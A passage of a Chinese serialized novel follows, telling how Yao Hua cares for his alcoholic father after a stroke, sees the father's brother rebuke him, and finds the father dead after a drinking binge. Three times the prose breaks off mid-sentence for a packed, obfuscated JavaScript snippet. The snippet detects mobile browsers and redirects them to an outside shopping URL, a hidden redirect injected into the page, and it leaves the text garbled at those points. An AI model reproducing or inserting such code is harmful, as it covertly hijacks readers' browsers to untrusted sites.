赶到时，救护车已经在了。两个白大褂正把姚建国往担架上搬。姚建国还在扭动，嘴里呜噜着：“酒……我那酒……”地上果然躺着个摔碎的玻璃瓶，劣质白酒的气味横冲直撞，钻进每个人鼻子里——那气味浓得，像是要把空气也腌成酒糟。 第四医院急诊室。医生看完检查单，把姚华叫到一旁：“脑梗，得做CT。” CT室在二楼。姚建国被推进那个白色的圆环里，像送进传送带的包裹。机器嗡嗡地转，一圈，又一圈。姚华隔着玻璃看，忽然想起超市扫码的柜台——货物放上去，“嘀”一声，价钱就出来了。人放上去，嗡嗡响，病就出来了。只是货物的价钱明码标价，人的病价，从来算不清楚。 片子半小时后贴在灯箱上。黑白图像里，几团阴影晕开着，像滴在草纸上的墨点子，不大，却这里一点，那里一点——像是哪个顽童拿毛笔随手甩的。 医生用笔尖点着那些芝麻大小的暗处：“这儿，这儿，还有这儿。多发腔隙性脑梗死。” “要紧吗？” “这次算捡着。”医生顿了顿，看他一眼，“酒，一滴都不能再沾。再沾，下回就是大片梗死，或者出血，人可能直接就没了。”医生说话有个特点，说到“没了”时，声音会低下去，像是怕吓着谁，又像是已经说累了。 姚建国这时被护士推回来，坐在轮椅上，右脸有点往下耷拉，精神倒像还行。“大夫，我没事吧？” “有事。”医生把片子转向他，“看见没？这些黑点，都是死掉的地方。再喝，下次死的就不止这点地方了。” 姚建国眯着眼，瞅了半天，竟笑了：“我当是啥。这就是喝多了，脑仁儿有点木。年轻那会儿，一斤半下去，照样扛麻袋。” 医生不接他话茬，转向姚华：“住院，至少一周。家属办手续去。” 病房是三人间，姚建国靠门。隔壁床是个七十多的老头，也是脑梗，比姚建国重——话说不出一句，右边身子全瘫了，鼻子里插着管子往里灌流食。那流食的颜色，让人想起婴儿的辅食，只是喂的人老了，吃的人也老了。 姚华向戴经理请年假。五天，加两头周末，一共九天。戴经理笔尖戳着请假条，脸拉得老长：“姚华，你这假，是不是太勤了点儿？” “我爸脑梗，住院。” “脑梗……”戴经理在纸上签了名，力透纸背，“行。回来加班补上。” “知道。” 头一天输液，姚建国还算消停。护士来扎针，他伸出左手。手背上的血管躲躲藏藏，护士拍了好几下才敢下针。针进去时，他眉头拧了拧，没吭声——不是不疼，是疼惯了。 药水一滴，一滴，往下坠。姚华看着那透明的液体顺着软管爬进父亲的身体里，忽然想，这东西能冲掉他脑子里的黑点吗？像冲下水道似的，哗啦一下，全干净了？ 恐怕不能。要是能，医院早该开个“脑水管疏通”科，专治各种想不开和喝太多。 隔壁床的老头这时呜咽起来，声音闷在喉咙里，像受伤的野狗。他儿子忙俯过去：“爸，咋了？”老头说不出，只是流泪，眼泪顺着深刻的皱纹沟壑，流进了耳朵眼——那耳朵眼，怕是这辈子都没接过这么多水。 姚建国看了很久，忽然哑着嗓子问：“我往后……不会也成这德行吧？” 姚华没接话。有些问题不需要答案，因为答案就摆在隔壁床上。 第二天，姚建国就躁起来了。输液太慢，一瓶要耗三四个钟头。他在床上翻来覆去，像煎饼铛上的饼。“这得输到猴年马月？” “还有两瓶。” “两瓶？！”姚建国眼睛瞪起来，“这不是存心折腾人吗？” “治病都这样。” “治个屁病……”他嘟囔，“我压根就没病。” 午饭是医院食堂的盒饭，一荤两素。荤菜是红烧肉，但肉星星点点，大半是土豆。姚建国扒拉两筷子，撂下了。 “这是人吃的？” “将就吃吧。” “将就不了。”姚建国舔舔嘴唇，“我想喝口酒。” “不能喝。” “就一小口，抿一下。” “一口也不行。” 姚建国不吭气了，直勾勾盯着天花板。药水还在滴答，滴答，像是谁在数着所剩无几的时辰——只是数的人不急，被数的人也不急，急的只有那滴不完的水。 下午姚华出去买水果，回来时看见父亲正跟隔壁床的儿子搭话。那儿子穿着灰扑扑的工装，脸上带着倦意——那倦意不是一天两天的，是长年累月积下来的，洗都洗不掉。 “我爸这病，落下三年了。”那人说，“当初也是不听，非要喝。现在好了，话都说不出一句整的。” 姚建国听着，眼皮耷拉。 “您可得听劝。”那人又说，“这病，就怕复发。复发一次，就重一截，到最后……”话没说完，尾音散在满是消毒水味的空气里——消毒水能杀菌，却杀不掉这些话里的无奈。 姚华洗好苹果，削皮，切成小块，插上牙签递过去。姚建国嚼着，慢慢说：“甜。” “嗯。” “比我买那些甜。” “您净挑便宜的买。” “便宜咋了？”姚建国声调忽然提起来，“便宜苹果就不是苹果了？” 姚华闭上嘴，把剩下的苹果收进塑料袋，塞进床头柜。有些话争不出结果，就像便宜苹果到底是不是苹果——你说不是，他吃着也是那个味儿；你说是，他心里也知道不一样。 第三天，出事了。 上午液输完，姚建国说要上厕所。姚华扶他到门口，等着。等了十来分钟，没动静。姚华喊：“爸？” 没人应。 推门进去，厕所里空空如也。窗户大开着——这是一楼，窗外就是医院后街。 姚华脑子“嗡”地一声。他冲出去，在后街疯找。那条街挤满了小馆子、杂货铺、水果摊。最后，他在一家杂货铺门口看见了姚建国。 老头正坐在个小马扎上，手里攥着个透明塑料袋，袋子里晃荡着半斤左右的散装白酒。看见姚华，他先是一愣，随即咧嘴笑了：“你咋寻来了？” 姚华冲过去，一把夺过袋子。酒液泼溅出来，辣气刺鼻——那气味熟悉得可怕，像是从他记事起就弥漫在生活里的背景味。 “您这是干什么？！” “买酒啊。”姚建国说得天经地义，“嘴里淡出鸟了，难受。” “医生的话您都就饭吃了？！” “医生懂个屁！”姚建国站起来，腿脚还不利索，身子却挺着，“我喝了一辈子，阎王殿的门槛都让我踩平了，还怕这几滴马尿？” 姚华盯着他。盯着那张嘴角歪斜的脸，盯着那双浑浊发黄的眼，盯着他手里那袋称之为“酒”却实则是“命”的液体。 忽然间，三十八年的东西全涌到了喉咙口。银行宿舍。盐坨村小学的土操场。母亲越来越稀薄的白发。自己鬓角早生的霜。每月准时报到的房贷。手机里总也还不清的借呗。养老院那个三千四的床位。还有眼前这个，永远像滩烂泥，永远扶不上墙，永远在制造麻烦的老头。 “您知道您这辈子，毁了多少东西吗？”姚华声音平得出奇——平得像结了冰的河面。 姚建国懵了：“啥？” “房子。”姚华说，“从银行里搬到盐坨村，我念的那个破学校，您知道是啥样吗？” “我……” “我妈。”姚华继续说，“她卖了一辈子考试卷子，蹬了一辈子三轮，最后躺在养老院，您去看过一眼吗？” “我……” “还有我。”姚华指指自己，“三十八了，没成家，没孩子，欠一屁股债。为啥？得给您擦屁股，得给我妈交那份养老钱。” 姚建国嘴唇哆嗦着，说不出话——不是不想说，是话堵在嗓子眼，像塞了一团湿棉花。 “现在你病了，脑子都梗了，医生说再喝下次就没了。”姚华看着父亲，“您倒好，溜出来买酒。您是不是觉得，你死了，我们反倒清净了？” 这话太重。姚建国脸霎时灰白，嘴唇抖得像风里的纸：“你……你说啥？” “我说，”姚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119427|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 华一字一顿，“您是不是觉得，你死了，我们倒轻松了？” 姚建国瞪着他，眼珠子像是要迸出来。忽然，他扬起手——不是打人，是把早上护士刚发的那小瓶药，狠狠掼在地上！ 玻璃瓶炸开，药片蹦跳着滚了一地，白的，黄的，圆的，扁的——滚得到处都是，像是爆开了一地的小生命。 “对！”姚建国吼了出来，脖子青筋暴起，“老子死了干净！不拖累你们！这下你舒坦了吧？！” 杂货铺老板探出脑袋：“哎，要闹外边闹去！” 姚华没理。他蹲下身，开始捡那些药片。一片，两片，三片。有的沾了土，他用手抹。抹着抹着，手指蹭到玻璃碴，豁开一道口子。 血涌出来，滴在地上。滴在那些白色的药片上，洇开，变成暗红的污渍——那污渍慢慢扩散，像一朵朵迟开的小花。 他还在捡。捡完药片，捡玻璃碎片。碎片锋利，手心又划了一下，血冒得更凶了，滴滴答答，像小时候住在银行宿舍时那关不紧的水龙头——那时水费贵，母亲总说：“关紧，关紧。”可那龙头就是关不紧，就像现在这血，就是止不住。 姚建国站在那儿，看着儿子那双流血的手，忽然没了声响。他嘴巴张了张，最终什么也没说，转过身，一瘸一拐，往医院方向挪——那背影缩得，像是突然小了一圈。 姚华把碎片拢进纸巾包好。血胡乱在裤子上抹了抹，跟了上去。 回到病房，护士看见他手：“怎么搞的？” “没事。” “这叫没事？！”护士扯他去处置室。消毒水淋上去，他眉头都没动。纱布缠了一层又一层，最后系了个紧实的结——那结打得漂亮，像个小小的蝴蝶，只是这蝴蝶停在伤口上，不是为了美。 “这两天别碰水。” “嗯。” 病房里，姚建国已经面朝墙壁躺下了。液体重新挂上，一滴，一滴。 姚华坐在椅子上，看父亲的背影。如今瘦削了，佝偻了，病号服下脊骨的形状清晰可见——那一节一节的骨头，像是能数出来他这辈子的年岁。 累。累得连叹气的力气都没有。 隔壁床的老头又哭了。这次声音大了些，“啊啊”的，像是在呼喊什么。他儿子慌忙去哄：“爸，不哭，不哭啊……”哄不住，哭声在安静的病房里显得格外瘆人。护士来了，推了一针镇静，才渐渐平息——平息得像从来没闹过，只是那针的代价，是更深的沉睡。 姚建国的液输完了。护士来拔针。针头离开皮肤时，他“嘶”地吸了口凉气。 “疼？”护士问。 “嗯。” “疼就记着。”护士收拾着输液管，“记着这疼，别再干让自己更疼的事。” 姚建国没应声。有些话听着有理，但人要是能因为疼就记住不做蠢事，这世上早没医院了。 护士走了。窗外，天黑透了，路灯的光晕黄地渗进来——那光晕黄得，像是旧照片的颜色。 姚华起身：“我去买饭。” “华子。”姚建国叫住他，依旧背着身。 “嗯？” “那酒……”姚建国喉咙滚了滚，“我就闻了闻，没喝。” 姚华在门口站住了，站了很久。 “嗯。” 他带上门，轻轻合上。 走廊里消毒水的气味浓得化不开。他走到窗户边，点了支烟。手上的纱布白得刺眼，血渍从边缘渗出一点，像朵小小的锈花——那花开在纱布上，不结果。 他想CT片上那些芝麻大的阴影。想医生那句“下次就没了”。想父亲摔药瓶时那句“死了干净”。想自己流血的手，和滴在药片上暗红的血。 那血的颜色，像诊断书上医生用红笔狠狠圈住的“梗”字——圈得那么重，像是要把纸也戳破。 烟吸进去，又缓缓吐出来，散进冷冰冰的夜色里。 明天还得输液。后天也是。大后天还是。 输完了，出院。父亲回他的盐坨村，自己回公司面对戴经理那张长脸。 然后呢？ 然后父亲会不会又摸到村口老刘那儿？会不会再摔一次？会不会真的就“没了下次”？ 他不知道。 他只晓得，日子还得这么过。像药水一滴一滴地耗，像时钟一格一格地爬，像他每周得去养老院看母亲两次，每月得还一次房贷，每年得面对一次年纪又长一岁的自己。 望不到头。但望不到头也得望——不望，连眼前这一步都迈不出去。 烟燃尽了。他把烟蒂摁灭在垃圾桶上方的沙盘里，转身朝食堂走去。 饭总要买。 日子总要过。 再难，也得过。过了今天，还有明天——明天会不会好不知道，但明天一定会来，这就够了。 21. 第二十一章 生产队长还魂 调解会是二伯姚建军定的。时间地点都没商量——开春，盐坨村老屋，下午两点。商量也没用，二伯定的事，就像生产队那口破钟，敲了就得来。姚华请了半天假，到的时候二伯已经坐那儿了，坐得像尊土地爷。 屋里就一把像样椅子，姚建国结婚那年打的。四条腿，靠背雕着花——说是花，其实就是木匠随便凿了几道弯，弯得像蚯蚓找妈。椅子老了，人一坐吱呀响，像老太太半夜翻身。可二伯坐得板正，腰杆挺得跟旗杆似的，又像旗杆上挂面衣裳——洗得发白的蓝中山装，扣子扣到脖颈子，风纪扣都系着。六十五的人，头发白了大半，梳得一丝不乱，苍蝇站上去都得劈叉。 姚建国缩在床边小板凳上，头低着，手里捏根烟没点。病号服蓝白条纹，从医院穿回来就没换过，领子黑了一圈，油光锃亮，能照见人影——要是人影愿意往那儿照的话。 老孙头被请出去晒太阳了，说是“家里说点事”。其实盐坨村谁不知道——姚家老二要收拾老三了。比收拾自留地还认真。 “齐了？”二伯开口，声不高，可带着威。那是当了一辈子小领导练出来的：年轻时是生产队长，管百十号人；后来街道办，管三条胡同。管人管出习惯了，见根电线杆都想训两句。 姚华点点头，门口捡个马扎坐下。马扎三条腿，得斜着坐，人就像随时要往一边倒。 二伯目光先扫姚建国，上下一打量，跟验收生产任务似的。“老三，听说你又闹妖？” 姚建国抬起头，嘴张了张，没出声。右脸还歪着，说话漏风，像破风箱：“没……没闹。” “没闹？”二伯从兜里掏出个小本，塑料皮都磨白了，翻开的动作像会计对账，“上月十五号，偷跑出医院买酒。十八号，摔药瓶子。二十三号，半夜唱样板戏，邻居来敲三次门。”他抬眼，眼皮耷拉着，可眼光利，“这叫没闹？” 姚华愣了。他没想到二伯查这么细，细得像筛糠。 姚建国也愣了，烟从手里掉下去，滚地上，滚到二伯脚边。“你……你咋晓得？” “我咋晓得？”二伯笑了，笑里没温度，像冬天里哈出口白气，“盐坨村屁大地方，谁家中午炒什么菜，晚上全村都知道。你当是秘密？秘密在这儿活不过一顿饭功夫。” 他站起来，走到姚建国跟前。哥俩都六十多，可二伯还高半头，影子把弟弟整个罩住，罩得像老母鸡护崽——要是护崽是用影子罩的话。 “老三，爹今年九十三了。”二伯声压低些，压得像要跟谁密谋，“在养老院吃得好睡得好。你猜，他要晓得你现在这德行，咋办？” 姚建国脸白了，白得像褪色的春联。 “爹那脾气，你晓得。”二伯继续说，声音平平的，可每个字都带着钩子，“当年你偷粮票换酒，他拿扁担抽，抽断三根。现在老了，打不动了，可他能从养老院爬回来，坐你床头，瞪着你。一天二十四小时，瞪得你心里发毛，毛得能织件毛衣。” 姚建国手开始抖。不是病的抖，是怕的抖。姚华在门口看着，忽然想起父亲说过——小时候最怕俩人：爷爷真打，二伯真骂。骂得你恨不得钻地缝，地缝还得挑宽的钻。 “我……没想惊动爹。”姚建国小声说，小得像蚊子哼，还是只饿了三天的蚊子。 “你没想？”二伯声突然拔高，一巴掌拍桌上。旧桌子漆掉光了，一拍，茶杯蹦起来，茶水洒一片，洒得像地图，像世界地图——如果世界是茶水洒出来的话。 姚华一激灵。他看见二伯拍桌那手——大，指关节粗得像树疙瘩，掌心茧子厚得硌人。年轻时干农活落的，后来当领导也没褪，褪不了，像焊上去的。 “姚建国！”二伯连名带姓喊，喊得像点名，“你听好了！你这条命，现在不是你自个的！是华子花钱救的！是医院费劲治的！你要作死，行，先把医药费还了！七万八，你现在掏，我立马走人，你爱喝多少喝多少，喝死算逑！” 姚建国缩脖子，鹌鹑似的，还是只拔了毛的鹌鹑。 “掏啊！”二伯又拍桌，拍得桌上的茶渍都跳了跳，“你不是能耐么？不是觉着没事么？掏钱！” “我……没钱。”姚建国声小得像蚊子哼，哼完还咳嗽，咳得撕心裂肺。 “没钱就闭嘴！”二伯手指头几乎戳弟弟鼻尖上，戳得姚建国往后仰，“没钱就听话！让你吃药就吃药，让你戒酒就戒酒！再让我听见你偷喝——”他顿了顿，一字一顿，每个字都像钉子，“我就把爹从养老院接来，送你这儿。让他天天看着，看他这不成器的儿子，怎么把自个儿作死。” 这话是杀手锏。姚建国彻底垮了，肩膀塌下去，头低到不能再低，低得像是要从板凳缝里钻出去。 屋里静了。只剩二伯喘气声，粗得像拉风箱，拉一架旧风箱。 过好一会儿，二伯走回椅子坐下。从兜里掏烟，自己点一支，扔给姚建国一支。姚建国接住，手抖得厉害，点三次才着，着得像鬼火，颤巍巍的。 兄弟俩对着抽。烟在屋里升起来，混着灰尘，在破窗户透进的光柱里打转，转得像两个找不到出路的魂。 “老三，”二伯声缓和些，缓和得像冬天里太阳出来那一小会儿，“咱哥仨，老大走得早，就剩咱俩了。爹九十多，还能活几年？你就不能让他省省心？” 姚建国低头抽烟，不吭声，吭声也吭不出个所以然。 “华子也不易。”二伯看姚华一眼，那一眼看得姚华心里一紧，“三十九了，没成家，为啥？你俩拖累的。他妈在养老院，一月三千四。他自己还房贷，一月两千四。工资多少？五千出头。够干啥？干瞪眼。” 姚华没想到二伯算这么清。他低头看自己鞋——打折买的，穿两年，鞋帮开胶了，胶开了又粘，粘了又开，现在张着嘴，像要说话。 “你就不能争口气？”二伯继续说，说得慢，每个字都像秤砣，“就算不为自个，为儿子想想？他都快四十了，你还想拖到啥时候？拖到他娶媳妇？拖到他抱孙子？拖到你躺床上动不了，他还得给你端屎端尿？” 姚建国还不说话，可烟抽得急，一口接一口，跟谁较劲似的，跟自己较劲。 烟抽完，二伯把烟蒂扔地上，脚碾灭，碾得狠，像碾只虫子。“话我说完了。听不听在你。要是不听——”他站起来，站得像棵树，“我明儿就去接爹。说到做到。” 他往外走，到门口停住，回头看姚建国一眼，那一眼看得深。“老三，人这一辈子，不能总活拧巴。该直时候直，该软时候软。你呀，就是太拧，拧得像麻花，还是根放久了的麻花。” 说完推门出去了。门吱呀一声，像叹气。 姚华赶紧跟出去。二伯走得快，步子大，他得小跑才跟上，跟得气喘。 “二伯，谢您。” 二伯没停脚，一直走到村口公交站才停。从兜里掏出手绢，皱巴巴的，擦额头——其实没汗，习惯动作，当领导当出的习惯。 “华子，”二伯看远处，看得远，远得像看另一个村，“你爸这辈子，就是活拧巴了。” 姚华等他说下去，等得像等雨。 “年轻时想当技术工人，没当成，拧巴。娶你妈，日子过不好，拧巴。下岗了，更拧巴。”二伯叹口气，叹得深，“这人啊，一拧巴，看啥都不顺眼，做啥都不对劲。越不顺眼越拧巴，越拧巴越不顺眼。到最后，把自个拧成麻花，还是没人吃的麻花。” 公交站就一根铁杆挂个牌子。风一吹，牌子晃荡，吱呀呀响，响得像要散架。 “你也别太恨他。”二伯说，说得轻，“他不是坏人，就是……没活明白。活不明白的人多了，多得像河滩上的石头。” 姚华想说，没活明白就能毁别人人生？可没说出口，出口的话又咽回去，咽得像吞石头。 车来了，老式公交，开起来哐当响，响得像要散架。二伯上车，投币。姚华在下面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119428|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看，看得愣。 车要开时，二伯突然从窗户探出头：“华子，下月你爷生日，养老院让去。你……带你爸去看看。” 姚华愣愣：“他能去么？” “能。”二伯说，说得肯定，“让他看看爹，想想自个。想想自个老了，会不会也这样。人得往前看，也得往后看，前后都看了，才知道自己在哪儿。” 车开动了。姚华站在原地，看车远去。车旧，排气管冒黑烟，在春风里很快散开，散得像从没来过。 他忽然看见，车后窗那儿，二伯在抹眼睛。用那拍桌子的手，粗糙的、长满茧子的手，抹眼睛。 一下，两下。 抹得急，像要抹掉什么不该有的东西。 然后车拐弯，不见了。不见得像被村子吞了。 姚华在车站站很久。风有点凉，吹得他打哆嗦。他想起二伯说的“活拧巴了”，想起父亲缩板凳上的样子，想起母亲歪歪扭扭写的“姚华”。 都拧巴。 都活拧巴了。 他往回走，走很慢，慢得像丈量土地。路过小卖部，老刘在门口晒太阳，看见他，招招手，招得像招魂。 “华子，你二伯走了？” “嗯。” “唉，你二伯不易。”老刘掏掏耳朵，掏得认真，“年轻时拉扯一大家子，老了还得管你们这些破事。”他递根烟给姚华，“要我说，你家这摊子，也就你二伯能镇住。别人镇不住，镇住了也得塌。” 姚华接过烟，没点。“刘叔，您说这人，咋就活拧巴了呢？” 老刘眯眼笑，露出一口黄牙，黄得像老玉米。“这话说的，谁不拧巴？我年轻时候想开拖拉机，结果看一辈子小卖部。拧巴不？可日子不还得过？”他吐口烟圈，烟圈散了，散得像没存在过，“你爸呀，就是心气高，命纸薄，两头够不着，可不就拧巴了。拧巴来拧巴去，把自个拧进去了。” 姚华点点头，没说话。说话也没用。 回到家，姚建国还坐小板凳上，姿势没变。烟抽完了，手里空着，就呆呆坐着，坐得像尊佛，还是尊没人拜的佛。 “爸。” 姚建国抬起头，看他。眼睛有点红，不知是烟熏的，还是别的。别的也说不上来。 “下月爷爷生日，二伯让咱们去。” 姚建国愣愣，然后点头：“哦。” “您……去么？” “去。”姚建国说，说得短，“去吧。” 他站起来，动作很慢，像生锈机器重新启动。走到床边，躺下，面朝墙。墙上有霉斑，斑斑点点，像地图。 姚华站在屋里，看父亲背影。现在瘦小得像孩子。他想，这人，这他叫了三十九年“爸”的人，到底啥样人？ 是毁他童年的人？是拖累他中年的人？是永远活不明白的人？ 还是就只是个……拧巴的人？ 他不知道。 他只知道，日子还得过。他得上班，得还房贷，得看母亲，现在还得看着父亲。 像推辆轮子歪了的三轮车，吱吱呀呀，歪歪扭扭，可还得往前推。 因为不推，就真停了。停了就再也推不动了。 他走出屋子，轻轻带上门。门还是那扇铁门，锈得厉害，关上的声音很轻，像叹息，还是声憋了很久的叹息。 院子里，老槐树开始发芽了。嫩绿芽，小小的，怯生生的，在光秃秃枝头上，像一个个问号，问春天，问日子，问这拧巴的人间。 春天来了。 可有些东西，永远过不去春天。过不去，就得背着，像背口锅，走哪儿背哪儿。 姚华走出院子，走上那条泥泞土路。路还是难走，深一脚浅一脚，踩下去不知深浅。 但他习惯了。 就像习惯了一切。 习惯，就是日子最大的讽刺。讽刺你还得接着过，一天一天，一年一年，过到这讽刺成了日子本身。 22. 第二十二章 不省心的命 二零一七年八月十二号，礼拜六。立秋过去五天了，天热得邪乎。姚华是下午三点到的盐坨村，照理说上个礼拜天就该来，可公司戴经理接了急活儿——戴经理一接急活，全部门的人都得跟着急，礼拜天也就成了礼拜七。 公交车上没空调，窗户全敞着，风倒是大，呼啦啦往车里灌，只是这风也是热的，还带着一股子尘土味儿，像是把工地搬上了车。姚华坐在最后一排颠得最厉害的位置，手里拎个红塑料袋，袋子里装着两盒降压药，一箱牛奶，还有半只烧鸡——熟食店下午打折买的，标签上贴着“特价”，仿佛人活着，也和商品一样，到点儿就得降价处理。 村口那棵老槐树，叶子耷拉着，蒙着一层灰，像个没洗脸的老光棍。小卖部门口的冰柜嗡嗡响，跟得了哮喘似的。老刘躺在竹躺椅上打盹，听见脚步声，眼皮掀开一条缝。 “哟，华子来了？” “嗯。刘叔，见着我爸出来没？” 老刘坐起来，挠了挠肚皮，肚皮上躺着几只蚊子尸体：“有日子没瞅见了……上回，怕是上礼拜二？对，礼拜二晚上，来打了半斤散酒。” 姚华心里咯噔一下：“又喝？” “散装的，便宜。”老刘咂咂嘴，“我说你二伯不是不让你沾吗？他咧咧嘴，说就抿一口，活着总得有个念想不是？” 塑料袋的提手在姚华掌心勒出两道深印子。他没吭声，点点头往村里走。 土路被太阳晒得惨白，一脚下去，扑起一团灰。不知谁家泼水降温，地上留下一滩湿印子，很快又被蒸干了，只剩一圈黄边，像狗尿的疆域。 姚建国的房子缩在村子最里头。门关着，没锁——盐坨村这地方，锁门是防君子，可村里早没君子了，都是熟人，偷谁去？姚华推门，门轴“吱呀——”一声惨叫，像是疼。 味道先冲了出来。 不是一种味儿，是好几股拧成了一股绳：馊饭的酸，隔夜酒的臭，还有一种甜丝丝、腻乎乎的怪味儿——后来他明白了，那是人悄悄烂掉时，散给这个世界最后的一点客气。 屋里暗，窗帘拉得严实，只有边角漏进几线光，照出空中飞舞的尘。姚华在门口定了定神，等眼睛认路。然后，他看见了地上的那道印子。 从门口开始，一道暗褐色、已经干透的蜿蜒痕迹，曲里拐弯朝屋里爬。像地图上一条没了水的河，时宽时窄，最宽处像个巴掌，窄处像根指头。痕迹边上溅开些小点，像是这条河曾经也起过浪花。 姚华顺着“河床”走。它绕过桌子——桌腿那儿积了一小滩，成了个“湖泊”。然后继续往前，爬到床边，没了。 床上有人。侧躺着，脸朝窗户。被子只搭到腰，上半身就一件洗得透亮的蓝背心。 “爸。” 没应声。 姚华走近了，看清了脸。 姚建国的脸朝着窗户，眼睛闭着，嘴微微张着。嘴角有一圈干了的污渍，黄白色，像小孩没擦干净的奶印子，可他早不是小孩了。脸是青灰的，不是活人的白，是那种抹墙用的、死了的水泥色。 最让姚华发愣的是那表情——竟有几分舒坦。眉头展着，嘴角好像还往上牵了一点点，像是在做什么美梦。这可不对，父亲这一辈子，梦都是苦的，怎么到了最后一觉，反而尝出甜头了？ 他在床边站了很久，久到腿麻得像过了电，才想起该干点啥。 他掏出手机，拨了120。接线员问地址，他报了盐坨村。又问症状，他说：“人……可能不行了。” “可能不行是啥意思？” “就是……没气儿了。” “你确认一下啊。” 姚华伸出手，搁在父亲鼻子前头。没风。又摸脖子，皮肤凉津津的，没跳。手腕子，也没跳。 “确认了，不行了。” “保持电话畅通，救护车马上出发。” 挂了电话，姚华在屋里转磨儿磨儿。他看见桌子上的酒壶——是个两升装的塑料壶，里头还有小半壶，壶口敞着，酒气凶悍。壶边是个碗，碗里有半碗花生米，全长毛了，毛茸茸、白惨惨一层，像戴了顶孝帽子。 地上除了那条“河”，还有一摊秽物。在床和桌子之间，已经干硬板结了，能认出花生米的红衣，几截面条，还有黄汤子渗进了砖缝，怕是再也抠不出来了。 窗台上落着只苍蝇，绿头，肥大，一动不动。姚华凑近了看，苍蝇也死了，干瘪成一个空壳，像个微型标本，定格在了最后觅食的瞬间。 外头传来救护车的呜咽声，越来越近。接着是警车——村里人耳朵灵，鼻子也灵，有点动静就报了警。 先冲进来的是急救的，两个小年轻，提着箱子。他们扒拉检查了不到一分钟，就摇了头：“没了。” 警察是五分钟后到的，一老一少。老警察脸上有道疤，像另长了一张嘴；小警察一脸青春痘，红得发亮。老警察眯眼扫了一圈，问姚华：“家属？” “儿子。” “啥时候发现的？” “就刚才。” “最后联系是啥时候？” “上个礼拜天通过电话，说这周来。公司加班，拖到今天。” 老警察点点头，在小本子上划拉。小警察举着手机拍照，闪光灯“咔嚓咔嚓”，把穷屋子照得原形毕露，连墙皮脱落的地方都显得理直气壮。 “死因初步看是窒息。”老警察合上本子，“酒后呕吐，呛住了，没人发现。” 姚华没接话。 “需要解剖不？”老警察问，“定个准确死因。” 姚华看了看床上的父亲。父亲侧躺着，脸依旧朝着窗户，好像在看外头的啥。窗户外面是老槐树，树叶让风吹得直哆嗦。 “不解了。”姚华说，“他这辈子……早让日子给解剖透了。” 老警察抬眼看了看他，那眼神像看一个熟悉的伤口。然后他摆摆手：“成。等会儿殡仪馆的车来拉人，你跟着办手续吧。” 殡仪馆的车是白的，开不进村，憋屈地停在村口。来了俩人，深蓝制服，推个担架车。他们把姚建国抬上去，盖了块白布。布很薄，底下的人形清清楚楚，像个石膏模子。 抬出屋子时，村里人都出来了。倚着门框，抱着胳膊，静静地看。老刘也出来了，看见白布，叹了口气，摇摇头，转身从冰柜里摸了根冰棍，嗦溜起来。 担架车的轮子陷在土里，推起来吱扭响。姚华跟在后头，手里还攥着那个红塑料袋。药，牛奶，特价烧鸡。 到村口，工作人员把担架挪上车。车门“哐当”关上时，老刘走过来，拍了拍姚华肩膀：“华子，节哀。” 姚华点头。 “你爸他呀……”老刘话在嘴里滚了几滚，终于吐出来，“也是个不省心的命。” 车开了。姚华坐副驾驶，工作人员开车。车里空调开得猛，冷风直往骨头缝里钻。 “直接殡仪馆？”司机问，口气像问“吃了吗”。 “嗯。” “手续带齐了？身份证，户口本，死亡证明……” “齐了。” 其实没齐，但姚华懒得说。他现在只想把这一页赶紧翻过去，哪怕书已经烂了。 车路过二中门口。礼拜六，学校没人，可门口煎饼果子摊还在。摊主是个中年女人，正低头刮面糊，手腕一转，一个完美的圆。姚华忽然想，母亲当年就在这位置卖盗版书和考试卷子，夏天汗流进眼睛，冬天手冻出口子。父亲呢？父亲一次也没来接过。 现在，母亲在养老院，父亲在白车里。 两个人，两股道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119429|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 车继续开。开过望海楼，开过他曾经租的屋子。窗户关得紧紧，不知又换了哪个倒霉蛋住进去。 开过银行里，筒子楼还在，外墙新刷了粉色，怯生生的粉，像是硬要给老太婆擦胭脂。 开过环湖医院，母亲住过的地方。门口依旧人头攒动，挤挤挨挨，像一锅等着被煮的饺子。 最后开到殡仪馆。在城郊，老大一个院子，种着松树，绿得发黑，绿得虚假。 手续办得出奇利索。死亡证明，火化单，寄存证。工作人员面无表情，语调平稳得像银行柜员：“选哪个档？三千八，五千八，八千八。” “最便宜的。” “三千八只有骨灰盒，没有告别仪式。” “行。” “寄存费一年两百，先交三年？” “交一年。” “一年后续费，超期不候，骨灰统一处理。” “知道了。” 钱递进去，收据拿出来。骨灰盒是最便宜的木料，没上漆，木纹粗粝得像老树皮。盒子上贴了标签：姚建国，63岁。名字和数字，就是一辈子。 